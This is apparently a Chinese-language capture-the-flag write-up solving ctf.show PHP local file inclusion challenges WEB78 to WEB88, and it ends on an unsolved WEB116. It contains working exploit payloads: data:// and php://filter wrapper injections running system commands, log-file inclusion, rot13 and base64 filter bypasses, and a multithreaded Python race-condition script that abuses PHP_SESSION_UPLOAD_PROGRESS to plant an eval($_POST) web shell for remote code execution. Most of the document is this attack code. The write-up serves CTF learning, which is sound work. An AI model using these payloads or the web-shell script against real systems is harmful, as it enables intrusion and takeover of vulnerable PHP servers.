WEB78(伪协议)
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
payload1、file=data://text/plain,<?php system(“cat flag.php”);?>
payload2、file=php://filter/convert.base64-encode/resource=flag.php
都是利用伪协议读取
WEB79(伪协议)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
payload: file=data://text/plain,<?= system(“cat flag.ph’’p”);?>
WEB80(日志包含)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
本题将PHP和data都过滤了,伪协议不能使用
使用本地包含日志文件getshell
日志文件路径:?file=/var/log/nginx/access.log也可以直接在hackbar里面完成:
WEB81(日志包含)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
比上一题多过滤了冒号,
同样尝试上面一道题的文件包含:同样发现文件名为fl0g.php
发现利用上一题的日志文件包含,也可以得到flag:
WEB82-86(★利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
比WEB82相比 多过滤了“.”,就不能包含日志文件了,因为日志文件在/var/log/nginx/access.log,包含“.”
思路:过滤了点的话就只能包含无后缀的文件,众所周知,PHP里面我们能控制的无后缀的就只能是SESSION文件,这时候我们写个脚本,肯定就要用到php_session_upload_progress这个参数,这个参数是为了时事获得文件上传进度的!,虽然没有开启session,但是只要上传一个cookie里面带session这个名字的一个值,比如:
这个文件名字我们是控制的,因为我们可以控制aaaa,变相的控制它的全称,这个文件名字我们控制了,如何控制文件内容呢?
控制文件内容我们需要使用php_session_upload_progress这个参数,这个参数是获取实时文件上传进度的,我们就可以利用它来实现写我们制定的内容,为什么我用它?因为指定post php_session_upload_progress这个name值会拼接到默认的名字,它的值就是我们提交的值,如:
PHP_SESSION_UPLOAD_PROGRESS=>’123’ 那么我们退出这个目录下sess_aaaa它的内容就是123
/tmp/sess_aaa=>123
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
我们写个脚本:
import requests
import io
import threading
url='http://2dac47ec-a4af-4a8f-8eec-6cb263eacd6e.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
#我们提交的值,也就是post的值,选择一句话木马的密码,内容我们可以在这指定好,用file_put_contents写文件
#这时候我们需要条件竞争,因为session是在脚本执行完毕之后就会删除,所以我们需要一边写的途中就马上读,这样竞争的时候是可以竞争到包含的这个的我们的指定文件
#写一个写的方法
#<?php eval($_POST[1]);?>
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
resposne2=session.get(url+'2.php');
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
#多线程条件竞争
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
我们post:2=phpinfo();发现可以RCE了
2=system(“cat fl0g.php”);
Hint:
https://www.freebuf.com/vuls/202819.html 这道题有点像
wmctf的make php great again 利用session对话进行文件包含利用 https://blog.csdn.net/qq_46091464/article/details/108021053
WEB85不能使用尖括号了,修改脚本:用十个线程条件竞争
import requests
import io
import threading
url='http://2dac47ec-a4af-4a8f-8eec-6cb263eacd6e.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
#<?php eval($_POST[1]);?>
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
resposne2=session.get(url+'2.php');
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
#多线程条件竞争
evnet=threading.Event()
with requests.session() as session:
for i in range(10):
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
2=system(‘tac f*.php’); 拿到flag
WEB87(★base64_decode特性去除”死亡exit”)
利用php://filter绕过死亡exit
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
考虑使用伪协议的filter,
file=php://filter/write=string.rot13/resource=2.php(这里要二次编码)
全编码:%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%32%25%32%45%25%37%30%25%36%38%25%37%30
php://filter是过滤器的名字
write=string.rot13 对写的内容进行rot13编码,就是凯撒13
文件名字是2.php
POST:content=<?php system(‘tac f.php’)?>
找个rot13在线工具:<?cuc flfgrz(‘gnp s.cuc’)?>
我们再看2.php写进去没有:
WEB88(data伪协议+base64)
出题人解法:
没有过滤冒号,直接伪协议(因为过滤了php,我们用base64编码)
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==【<?php system(‘tac .php’);?>】发现error
由于等于号被过滤,我们用<?php system(‘tac .php’); ?>加两个空格再base64:PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTsgID8+,提交后报错【加号也过滤了】
我们试试(这道题就是构造一个没有符号的base64):<?php system(‘tac *.php’);echo ‘abdc’;?>aa
它的base64:PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvICdhYmRjJzs/PmFh
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvICdhYmRjJzs/PmFh提交后出现flag!
其他解法:
file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oIm5sICoucGhwIik7(相当于: <?php system(“nl .php”); ) 注意base64编码后不能有=,调整空格数量即可
PD9waHAgc3lzdGVtKCJubCAqLnBocCIpOz8+ (<?php system(“nl .php”);?>) 【X】为什么加上?>就错呢?
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4(√)
base64的内容是 <?php system(‘cat fl0g.php’); ?>
WEB116(unsolved)
misc+lfi(本地文件包含LFI)
打开后发现是一段港片
直接右键另存视频到桌面,我们使用010editor看看